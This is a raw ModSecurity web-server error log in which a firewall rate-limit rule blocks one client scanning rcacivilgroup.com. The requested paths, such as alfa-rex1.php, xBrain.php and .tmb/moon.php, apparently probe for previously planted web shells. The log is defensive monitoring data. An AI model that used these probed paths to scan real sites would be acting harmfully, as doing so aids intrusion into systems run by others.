[Mon Apr 13 03:10:13.686696 2026] [:error] [pid 32010:tid 32035] [client 20.151.218.28:24452] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/datab"] [unique_id "advuFQ0nq-t9pXyV1fy9mwAAANc"]
[Mon Apr 13 03:10:14.447324 2026] [:error] [pid 31606:tid 31710] [client 20.151.218.28:24524] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/datab"] [unique_id "advuFj9vCsshNhLmCiCNrgAAAEQ"]
[Mon Apr 13 03:10:15.031530 2026] [:error] [pid 31606:tid 31707] [client 20.151.218.28:24519] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/datab"] [unique_id "advuFz9vCsshNhLmCiCNrwAAAEE"]
[Mon Apr 13 03:10:15.540900 2026] [:error] [pid 54671:tid 54693] [client 20.151.218.28:24548] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/sxx.php"] [unique_id "advuF2yJMmaONUqF0tCqBAAAARI"]
[Mon Apr 13 03:10:15.978024 2026] [:error] [pid 31605:tid 31662] [client 20.151.218.28:24566] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/sxx.php"] [unique_id "advuF29Py-Y-9VQ02eHd_AAAABM"]
[Mon Apr 13 03:10:16.786181 2026] [:error] [pid 31607:tid 31748] [client 20.151.218.28:24515] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/sxx.php"] [unique_id "advuGGjn_I-KYTWngjJNcwAAAIs"]
[Mon Apr 13 03:10:17.219206 2026] [:error] [pid 31606:tid 31726] [client 20.151.218.28:24459] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/sxx.php"] [unique_id "advuGT9vCsshNhLmCiCNswAAAFQ"]
[Mon Apr 13 03:10:17.639892 2026] [:error] [pid 31606:tid 31716] [client 20.151.218.28:24532] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/r1.php"] [unique_id "advuGT9vCsshNhLmCiCNtAAAAEo"]
[Mon Apr 13 03:10:18.056271 2026] [:error] [pid 54671:tid 54677] [client 20.151.218.28:24561] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/r1.php"] [unique_id "advuGmyJMmaONUqF0tCqDwAAAQI"]
[Mon Apr 13 03:10:18.593510 2026] [:error] [pid 54671:tid 54689] [client 20.151.218.28:24550] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/r1.php"] [unique_id "advuGmyJMmaONUqF0tCqEQAAAQ4"]
[Mon Apr 13 03:10:19.233913 2026] [:error] [pid 32010:tid 32021] [client 20.151.218.28:24543] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/r1.php"] [unique_id "advuGw0nq-t9pXyV1fy9ogAAAMk"]
[Mon Apr 13 03:10:19.663102 2026] [:error] [pid 31605:tid 31663] [client 20.151.218.28:24451] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rk1.php"] [unique_id "advuG29Py-Y-9VQ02eHeAQAAABQ"]
[Mon Apr 13 03:10:20.101998 2026] [:error] [pid 54671:tid 54691] [client 20.151.218.28:24484] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rk1.php"] [unique_id "advuHGyJMmaONUqF0tCqGQAAARA"]
[Mon Apr 13 03:10:20.779457 2026] [:error] [pid 54671:tid 54695] [client 20.151.218.28:24533] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rk1.php"] [unique_id "advuHGyJMmaONUqF0tCqHAAAARQ"]
[Mon Apr 13 03:10:21.519722 2026] [:error] [pid 31607:tid 31740] [client 20.151.218.28:24450] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rk1.php"] [unique_id "advuHWjn_I-KYTWngjJNeQAAAIM"]
[Mon Apr 13 03:10:22.241250 2026] [:error] [pid 54671:tid 54687] [client 20.151.218.28:24491] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah/xBrain.php"] [unique_id "advuHmyJMmaONUqF0tCqJgAAAQw"]
[Mon Apr 13 03:10:22.873483 2026] [:error] [pid 54671:tid 54696] [client 20.151.218.28:24470] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah/xBrain.php"] [unique_id "advuHmyJMmaONUqF0tCqKgAAARU"]
[Mon Apr 13 03:10:23.441336 2026] [:error] [pid 54671:tid 54699] [client 20.151.218.28:24570] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah/xBrain.php"] [unique_id "advuH2yJMmaONUqF0tCqKwAAARg"]
[Mon Apr 13 03:10:24.047375 2026] [:error] [pid 32010:tid 32034] [client 20.151.218.28:24551] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah/xBrain.php"] [unique_id "advuIA0nq-t9pXyV1fy9pAAAANY"]
[Mon Apr 13 03:10:24.688219 2026] [:error] [pid 54671:tid 54691] [client 20.151.218.28:24449] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pegi.PhP8"] [unique_id "advuIGyJMmaONUqF0tCqMgAAARA"]
[Mon Apr 13 03:10:25.129936 2026] [:error] [pid 54671:tid 54698] [client 20.151.218.28:24401] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pegi.PhP8"] [unique_id "advuIWyJMmaONUqF0tCqNAAAARc"]
[Mon Apr 13 03:10:25.935969 2026] [:error] [pid 31607:tid 31761] [client 20.151.218.28:24513] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pegi.PhP8"] [unique_id "advuIWjn_I-KYTWngjJNgAAAAJg"]
[Mon Apr 13 03:10:26.509526 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:24480] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pegi.PhP8"] [unique_id "advuImyJMmaONUqF0tCqOwAAAQc"]
[Mon Apr 13 03:10:26.925251 2026] [:error] [pid 54671:tid 54690] [client 20.151.218.28:24463] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa-rex1.php"] [unique_id "advuImyJMmaONUqF0tCqPAAAAQ8"]
[Mon Apr 13 03:10:27.782336 2026] [:error] [pid 31607:tid 31752] [client 20.151.218.28:24527] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa-rex1.php"] [unique_id "advuI2jn_I-KYTWngjJNhQAAAI8"]
[Mon Apr 13 03:10:28.296645 2026] [:error] [pid 54671:tid 54679] [client 20.151.218.28:24468] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa-rex1.php"] [unique_id "advuJGyJMmaONUqF0tCqQAAAAQQ"]
[Mon Apr 13 03:10:28.779540 2026] [:error] [pid 32010:tid 32013] [client 20.151.218.28:24563] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa-rex1.php"] [unique_id "advuJA0nq-t9pXyV1fy9rQAAAME"]
[Mon Apr 13 03:10:29.340133 2026] [:error] [pid 31607:tid 31753] [client 20.151.218.28:24475] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/suck.php"] [unique_id "advuJWjn_I-KYTWngjJNhwAAAJA"]
[Mon Apr 13 03:10:29.845416 2026] [:error] [pid 32010:tid 32023] [client 20.151.218.28:24565] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/suck.php"] [unique_id "advuJQ0nq-t9pXyV1fy9sAAAAMs"]
[Mon Apr 13 03:10:30.305506 2026] [:error] [pid 31605:tid 31660] [client 20.151.218.28:24455] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/suck.php"] [unique_id "advuJm9Py-Y-9VQ02eHeDwAAABE"]
[Mon Apr 13 03:10:30.798721 2026] [:error] [pid 32010:tid 32022] [client 20.151.218.28:24503] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/suck.php"] [unique_id "advuJg0nq-t9pXyV1fy9twAAAMo"]
[Mon Apr 13 03:10:31.379757 2026] [:error] [pid 54671:tid 54696] [client 20.151.218.28:24552] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hikudpno.php"] [unique_id "advuJ2yJMmaONUqF0tCqQgAAARU"]
[Mon Apr 13 03:10:31.806007 2026] [:error] [pid 54671:tid 54687] [client 20.151.218.28:24462] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hikudpno.php"] [unique_id "advuJ2yJMmaONUqF0tCqRAAAAQw"]
[Mon Apr 13 03:10:32.246964 2026] [:error] [pid 32010:tid 32013] [client 20.151.218.28:24478] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hikudpno.php"] [unique_id "advuKA0nq-t9pXyV1fy9vAAAAME"]
[Mon Apr 13 03:10:32.684125 2026] [:error] [pid 31605:tid 31648] [client 20.151.218.28:24538] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hikudpno.php"] [unique_id "advuKG9Py-Y-9VQ02eHeEwAAAAU"]
[Mon Apr 13 03:10:33.183944 2026] [:error] [pid 32010:tid 32035] [client 20.151.218.28:24557] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/moon.php"] [unique_id "advuKQ0nq-t9pXyV1fy9wQAAANc"]
[Mon Apr 13 03:10:33.595951 2026] [:error] [pid 32010:tid 32015] [client 20.151.218.28:24405] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/moon.php"] [unique_id "advuKQ0nq-t9pXyV1fy9xgAAAMM"]
[Mon Apr 13 03:10:34.027464 2026] [:error] [pid 31605:tid 31652] [client 20.151.218.28:24529] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/moon.php"] [unique_id "advuKm9Py-Y-9VQ02eHeFQAAAAk"]
[Mon Apr 13 03:10:34.448222 2026] [:error] [pid 32010:tid 32025] [client 20.151.218.28:24395] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/moon.php"] [unique_id "advuKg0nq-t9pXyV1fy9zQAAAM0"]
[Mon Apr 13 03:10:34.879622 2026] [:error] [pid 32010:tid 32030] [client 20.151.218.28:24453] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sure.php"] [unique_id "advuKg0nq-t9pXyV1fy9zwAAANI"]
[Mon Apr 13 03:10:35.299523 2026] [:error] [pid 32010:tid 32035] [client 20.151.218.28:24547] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sure.php"] [unique_id "advuKw0nq-t9pXyV1fy90QAAANc"]
[Mon Apr 13 03:10:35.854612 2026] [:error] [pid 32010:tid 32014] [client 20.151.218.28:24485] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sure.php"] [unique_id "advuKw0nq-t9pXyV1fy90wAAAMI"]
[Mon Apr 13 03:10:36.281876 2026] [:error] [pid 54671:tid 54684] [client 20.151.218.28:24516] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sure.php"] [unique_id "advuLGyJMmaONUqF0tCqTAAAAQk"]
[Mon Apr 13 03:10:36.722213 2026] [:error] [pid 31606:tid 31724] [client 20.151.218.28:24506] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoo.php"] [unique_id "advuLD9vCsshNhLmCiCNwAAAAFI"]
[Mon Apr 13 03:10:37.148085 2026] [:error] [pid 32010:tid 32035] [client 20.151.218.28:24457] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoo.php"] [unique_id "advuLQ0nq-t9pXyV1fy92wAAANc"]
[Mon Apr 13 03:10:37.613642 2026] [:error] [pid 54671:tid 54691] [client 20.151.218.28:24466] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoo.php"] [unique_id "advuLWyJMmaONUqF0tCqTwAAARA"]
[Mon Apr 13 03:10:38.067543 2026] [:error] [pid 31607:tid 31755] [client 20.151.218.28:24544] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoo.php"] [unique_id "advuLmjn_I-KYTWngjJNkgAAAJI"]
[Mon Apr 13 03:10:38.680417 2026] [:error] [pid 54671:tid 54698] [client 20.151.218.28:24534] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4563.php"] [unique_id "advuLmyJMmaONUqF0tCqVAAAARc"]
[Mon Apr 13 03:10:39.299779 2026] [:error] [pid 31607:tid 31741] [client 20.151.218.28:24525] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4563.php"] [unique_id "advuL2jn_I-KYTWngjJNlgAAAIQ"]
[Mon Apr 13 03:10:39.959624 2026] [:error] [pid 31605:tid 31659] [client 20.151.218.28:24472] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4563.php"] [unique_id "advuL29Py-Y-9VQ02eHeGgAAABA"]
[Mon Apr 13 03:10:41.147196 2026] [:error] [pid 31606:tid 31714] [client 20.151.218.28:24494] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4563.php"] [unique_id "advuMT9vCsshNhLmCiCNyQAAAEg"]
[Mon Apr 13 03:10:42.226201 2026] [:error] [pid 32010:tid 32018] [client 20.151.218.28:24488] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wunaivpl.php"] [unique_id "advuMg0nq-t9pXyV1fy97gAAAMY"]
[Mon Apr 13 03:10:42.941504 2026] [:error] [pid 54671:tid 54688] [client 20.151.218.28:24386] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wunaivpl.php"] [unique_id "advuMmyJMmaONUqF0tCqZQAAAQ0"]
[Mon Apr 13 03:10:44.150693 2026] [:error] [pid 32010:tid 32023] [client 20.151.218.28:24413] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wunaivpl.php"] [unique_id "advuNA0nq-t9pXyV1fy9-AAAAMs"]
[Mon Apr 13 03:10:45.311891 2026] [:error] [pid 54671:tid 54680] [client 20.151.218.28:24523] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wunaivpl.php"] [unique_id "advuNWyJMmaONUqF0tCqcwAAAQU"]
[Mon Apr 13 03:10:46.059764 2026] [:error] [pid 54671:tid 54684] [client 20.151.218.28:24569] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/reune.php"] [unique_id "advuNmyJMmaONUqF0tCqdQAAAQk"]
